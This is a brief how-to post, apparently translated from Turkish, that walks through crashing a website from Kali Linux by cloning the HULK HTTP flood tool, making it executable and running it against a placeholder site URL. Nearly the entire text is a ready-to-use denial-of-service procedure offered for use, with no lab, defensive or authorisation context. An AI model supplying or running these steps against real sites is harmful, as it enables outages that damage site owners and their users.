Yes. I will show you how to crash a website with Kali Linux.

Let's Download the Tool,
git clone https://github.com/grafov/hulk.git

Then Enter the File,
cd hulk

Give Read and Execute Permission,
chmod +x *

Then Run the Command
python2 hulk.py https://burayasiteyiyazin.com

Then the attack will start. This may tire your computer a little too much. If your system is bad, I recommend you not to try it. The security of the site is also effective against the attack.
